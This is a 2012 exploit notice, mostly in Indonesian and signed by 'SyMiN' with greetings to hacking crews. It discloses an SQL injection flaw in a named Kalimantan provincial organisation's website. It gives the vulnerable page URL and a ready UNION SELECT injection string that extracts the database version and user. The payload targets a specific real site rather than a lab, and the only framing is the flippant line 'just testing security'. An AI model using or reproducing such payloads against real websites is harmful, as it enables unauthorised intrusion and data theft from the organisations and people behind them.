SQL injection vulnerability situs pemerintah kalimantan

#############################################
# Exploit Tittle : SQLi                     #
# Author         : SyMiN                    #
# Tested         : linux bt5r2              #
# Date           : 21 Mar , 2012            #
#############################################


[title]
# SQL injection vulnerability situs pemerintah kalimantan


[note]
# Telah di temukan bug SQL Injection di website:
  http://pkkprovkalsel.or.id
  oleh SyMiN

http://pkkprovkalsel.or.id/berita_detail.cfm?judul=72[vuln]

[coba]

http://pkkprovkalsel.or.id/berita_detail.cfm?judul=72%20UNION%20SELECT%201,2,version%28%29,user%28%29,5,6--

[thx]
# MAGELANG CYBER TEAM
# INDONESIAN CODER TEAM
# KILL-9 CREW
# PASTEL CYBER CREW


[piss]
# just testing security (^_^)v

Thanks to : http://pastelcyber.blogspot.com/